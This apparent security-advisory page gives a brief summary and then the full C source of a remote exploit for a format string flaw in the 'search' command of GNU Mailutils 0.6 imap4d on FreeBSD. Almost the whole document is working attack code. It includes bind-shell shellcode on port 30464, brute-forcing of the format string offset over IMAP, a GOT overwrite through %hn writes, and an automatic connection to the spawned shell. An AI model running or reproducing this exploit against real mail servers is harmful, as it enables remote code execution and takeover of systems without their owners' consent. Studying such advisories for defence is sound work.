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GNU Mailutils Imap4d 'search' Format String (Exploit, C)
------------------------------------------------------------------------
SUMMARY
"GNU Mailutils is a collection of mail-related utilities. At the core of
Mailutils is libmailbox, a library which provides access to various forms
of mailbox files (including remote mailboxes via popular protocols). It
also provides support for parsing of RFC-822 style messages and MIME
support."
A format string vulnerability allow attackers to execute arbitrary code
from remote using the GNU Mailutils programs, the following exploit code
can be used to test your system for the mentioned vulnerability.
DETAILS
Vulnerable Systems:
* GNU Mailutils imap4d version 0.6
Exploit:
/*
* Copyright (c) 2005 Rosiello Security
* http://www.rosiello.org
*
* Permission is granted for the redistribution of this software
* electronically. It may not be edited in any way without the express
* written consent of Rosiello Security.
*
* Disclaimer: The author published the information under the condition
* that is not in the intention of the reader to use them in order to bring
* to himself or others a profit or to bring to others damage.
*
*
--------------------------------------------------------------------------
*
* GNU Mailutils 0.6 imap4d 'search' Format String Vulnerability
* iDEFENSE Security Advisory 09.09.05
* www.idefense.com/application/poi/display?id=303&type=vulnerabilities
*
* The GNU mailutils package is a collection of mail-related
* utilities, including local and remote mailbox access services.
* More information is available at the following site:
* http://www.gnu.org/software/mailutils/mailutils.html
*
* This exploit shows the possibility to run arbitrary code
* on FreeBSD machines.
*
* Authors: Johnny Mast and Angelo Rosiello
* e-mails: rave@rosiello.org angelo@rosiello.org
*/
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdarg.h>
#define ISIP(m) (!((int)inet_addr(m) ==-1))
#define clean(x) memset(x, 0 , sizeof x)
char code[] =
"\x90\x90\x90\x90"
"\x31\xc0" /* xor %eax,%eax */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\xb0\x7e" /* mov $0x7e,%al */
"\x50" /* push %eax */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\x31\xd2" // xorl %edx,%edx
"\xb0\x61" // movb $0x61,%al
"\x51" // pushl %ecx
"\xb1\x06" // movb $0x6,%cl
"\x51" // pushl %ecx
"\xb1\x01" // movb $0x1,%cl
"\x51" // pushl %ecx
"\xb1\x02" // movb $0x2,%cl
"\x51" // pushl %ecx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x51" // pushl %ecx
"\xcd\x80" // int $0x80
/* it binds on port 30464 */
/* bind(fd, (struct sockaddr*)&sin, sizeof(sin)) */
"\xb1\x02" // movb $0x2,%cl
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77" // addb $0x77,%cl
"\x66\x51" // pushw %cx
"\xb5\x02" // movb $0x2,%ch
"\x66\x51" // pushw %cx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb2\x10" // movb $0x10,%dl
"\x52" // pushl %edx
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x51" // pushl %ecx
"\x89\xc2" // movl %eax,%edx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x68" // movb $0x68,%al
"\xcd\x80" // int $0x80
/* listen(fd, 1)*/
"\xb3\x01" // movb $0x1,%bl
"\x53" // pushl %ebx
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x51" // pushl %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x6a" // movb $0x6a,%al
"\xcd\x80" // int $0x80
/* cli = accept(fd, 0,0) */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x50" // pushl %eax
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x51" // pushl %ecx
"\x31\xc9" // xorl %ecx,%ecx
"\xb0\x1e" // movb $0x1e,%al
"\xcd\x80" // int $0x80
/* dup2(cli,0) */
"\x89\xc3" // movl %eax,%ebx
"\x53" // pushl %ebx
"\x51" // pushl %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x5a" // movb $0x5a,%al
"\xcd\x80" // int $0x80
/* dup2(cli, 1) */
"\x41" // inc %ecx
"\x53" // pushl %ebx
"\x51" // pushl %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x5a" // movb $0x5a,%al
"\xcd\x80" // int $0x80
/* dup2(cli, 2) */
"\x41" // inc %ecx
"\x53" // pushl %ebx
"\x51" // pushl %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x5a" // movb $0x5a,%al
"\xcd\x80" // int $0x80
/* execve("//bin/sh", ["//bin/sh", NULL], NULL) */
"\x31\xdb" // xorl %ebx,%ebx
"\x53" // pushl %ebx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x54" // pushl %esp
"\x53" // pushl %ebx
"\x50" // pushl %eax
"\xb0\x3b" // mov $0x3b,%al
"\xcd\x80" // int $0x80
/* exit(..) */
"\x31\xc0" // xorl %eax,%eax
"\xb0\x01" // mobv $0x1,%al
"\xcd\x80"; // int $0x80
void usage( int argc, char **argv )
{
fprintf(stdout, "%s usage:\n\n", argv[0]);
fprintf(stdout, "\t-h host\n");
fprintf(stdout, "\t-p port\n");
fprintf(stdout, "\t-l login\n");
fprintf(stdout, "\t-a password\n\n");
return;
}
void send_message( int fd, char *msg, ... )
{
char string[2000];
int len;
size_t size;
va_list args;
clean(string);
va_start(args, msg);
len = vsnprintf(string, sizeof(string)-1, msg,args);
len = (len >=0) ? len : 0;
/* Terminating the string */
string[len]='\0';
write(fd, string, len);
return;
}
char *buildstring( long r_addr, long target, int offset, int sock )
{
unsigned char string[512], a[4];
int len;
int high, low, arw;
target = 0x806c044; //0xbffffb58;
high = ( target & 0xffff0000 ) >> 16;
low = ( target & 0x0000ffff );
clean(a);
a[0] = (r_addr >> 24) & 0xff;
a[1] = (r_addr >> 16) & 0xff;
a[2] = (r_addr >> 8) & 0xff;
a[3] = (r_addr) & 0xff;
a[4] = '\0';
clean(string);
len = sprintf(string, "3 search topic .%c%c%c%c%%.%dx%%%d$hn\n",
(int)a[3]+2,a[2],a[1],a[0],
high -(0x24+13), /* Number of bytes for the first write */
offset /* The Offset to addr */
);
len = (len >=0) ? len : 0;
string[len] = '\0';
write(sock, string, len);
read(sock, string, sizeof(string));
clean(string);
len = sprintf(string, "3 search topic .%c%c%c%c%%.%dx%%%d$hn%s\n",
(int) a[3], (int)a[2], (int)a[1],(int)a[0],
low - (0x24 +13),
offset, /* The offset to addr +2 */
code
);
len = (len >=0) ? len : 0;
string[len] = '\0';
write(sock, string, len);
return (char *)strdup(string);
}
void get_addr_as_char( u_int addr, char *buf )
{
*(u_int*)buf = addr;
if (!buf[0]) buf[0]++;
if (!buf[1]) buf[1]++;
if (!buf[2]) buf[2]++;
if (!buf[3]) buf[3]++;
}
static int got_entry = 0x08057a0c+4;//0x0805cb7c; /* GOT of snprintf */
int comun( char *host, struct sockaddr_in sin4 )
{
char *a[4] = { "/usr/bin/telnet", "localhost", "30464", NULL };
execve(a[0],a, NULL);
return 0;
}
void welcome( )
{
fprintf( stdout, "\nCopyright (c) 2005 Rosiello Security\n" );
fprintf( stdout, "http://www.rosiello.org\n" );
fprintf( stdout, "imap4d Format String Exploiter for FreeBSD\n\n" );
}
int main( int argc, char **argv )
{
struct hostent *hp;
struct sockaddr_in sin4;
char shellbuf[1030];
char *host, buffer[512], *ptr, *p, *USER, *PASS;
int ch, port = 0, sock, offset = 1;
int login = 0, i, calc = 0;
int ret = 0, len = 0, b;
int have_shell_loc = 0;
unsigned int shell_addr = (u_int)0x0806c000;//0xbfbf0101;
welcome( );
if ( argc < 9 )
{
usage(argc, argv);
exit(EXIT_SUCCESS);
}
if (!(host = malloc (128)))
{
fprintf(stderr, "exp.c:115 Could not allocate memory\n");
exit(EXIT_FAILURE);
}
while((ch = getopt(argc, argv, "h:p:l:a:")) != EOF)
{
switch(ch)
{
case 'h':
host = (char *)strdup(optarg);
break;
case 'V':
break;
case 'p':
port = atoi (optarg);
break;
case 'l':
USER = (char *)optarg;
case 'a':
PASS = (char *)optarg;
default:
usage(argc, argv);
break;
}
}
if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
fprintf(stderr, "exp.c:139 Error creating an new socket");
exit(EXIT_FAILURE);
}
host = (host) ? host : "localhost";
port = (port) ? port : 143;
if (!(ISIP(host)))
{
if (!(hp = gethostbyname(host)))
{
fprintf(stderr, "exp.c:152 Could not resolve ip address\n");
exit(EXIT_FAILURE);
}
memcpy(&sin4.sin_addr,hp->h_addr,hp->h_length);
host = (char *)strdup(inet_ntoa(sin4.sin_addr));
}
sin4.sin_family = AF_INET;
sin4.sin_port = (unsigned short)htons( port );
fprintf(stdout, "[+] Connecting to %s:%d\n", host,port);
if ((connect(sock, (struct sockaddr *)&sin4,sizeof(struct sockaddr))) <
0)
{
fprintf(stderr, "[*] exp.c:178 Connection failed\n");
exit(EXIT_FAILURE);
}
fprintf(stdout, "[+] Connected .. \n");
fprintf(stdout, "[+] Sending login ... \n");
send_message(sock, "1 LOGIN %s %s\r\n", USER, PASS);
fprintf(stdout, "[+] Done ... \n");
while ((read(sock, buffer, 512)) > 0)
{
if ( login == 0 && ret == 0)
switch (buffer[0])
{
case '1':
fprintf(stdout, "[+] Selecting inbox ..\n");
send_message(sock, "2 Select inbox\n");
fprintf(stdout, "[+] Selecting Done .. Starting brute sequence\n");
send_message(sock, "3 search topic .AAAABBBB%%%d$x\n",offset);
login = 1;
break;
}
if ((ptr=strstr(buffer, "(near")) && login == 1)
{
ptr +=15;
if ((strncmp(ptr, "41414141",8))!=0)
{
offset ++;
send_message(sock, "3 search topic .AAAABBBB%%%d$x\n",offset);
}
else
{
fprintf(stdout, "[+] Found offset %d\n", offset);
fprintf(stdout, "[+] Finding buffer on the stack\n");
ret = 1;
login = 0;
clean(buffer);
}
}
if ( ret == 1 )
{
if ((ptr=strstr(buffer, "(near")))
{
ptr +=6+4 +1; /* +4 for the addr string*/
/* +1 for the junk char */
calc = strlen(buffer) - strlen(ptr);
calc -=6+4+1;
for (i = 0; i < strlen(buffer); i++)
{
if ( (strncmp(ptr, code, strlen(code)))==0 && have_shell_loc
!=1)
{
shell_addr += i -4;
have_shell_loc = 1;
buildstring(got_entry, 0x42424242, offset, sock);
fprintf(stdout,"[+] Decoy found at %p\n", shell_addr);
close(sock);
fprintf(stdout, "[+] Trying to contact the bind shell ..\n");
if((comun(host, sin4)) < 0)
fprintf(stderr, "[-] Exploit failed\n");
}
else
++ptr;
}
}
if( shell_addr > 0xc0000000)
break;
shell_addr++;
ptr = ((char *)&shell_addr);
ptr[4] = 0;
if ( strchr(ptr, 0xa) || strchr(ptr, 0xd) || ptr[0]==0x00)
{
shell_addr ++;
ptr = ((char *)&shell_addr);
ptr[4] = 0;
}
while (strlen(ptr) !=4)
{
shell_addr++;
ptr = ((char *)&shell_addr);
ptr[4] = 0;
}
if (have_shell_loc != 1)
{
send_message(sock, "3 search topic
%s....%%%d$s%sCCCC\n",ptr,offset,code);
}
}
clean(buffer);
}
fprintf(stderr, "[+] Closing connection\n");
close(sock);
free(host);
fprintf(stderr, "[-] Exploit failed %p\n", shell_addr);
return 0;
}
/* EoF */
ADDITIONAL INFORMATION
The information has been provided by <mailto:angelo@rosiello.org>
Rosiello Security.
The original exploit can be found at:
<http://www.rosiello.org/archivio/imap4d_FreeBSD_exploit.c>
http://www.rosiello.org/archivio/imap4d_FreeBSD_exploit.c
The advisory can be found at:
<http://www.securiteam.com/unixfocus/5IP0H1FGUW.html>
http://www.securiteam.com/unixfocus/5IP0H1FGUW.html
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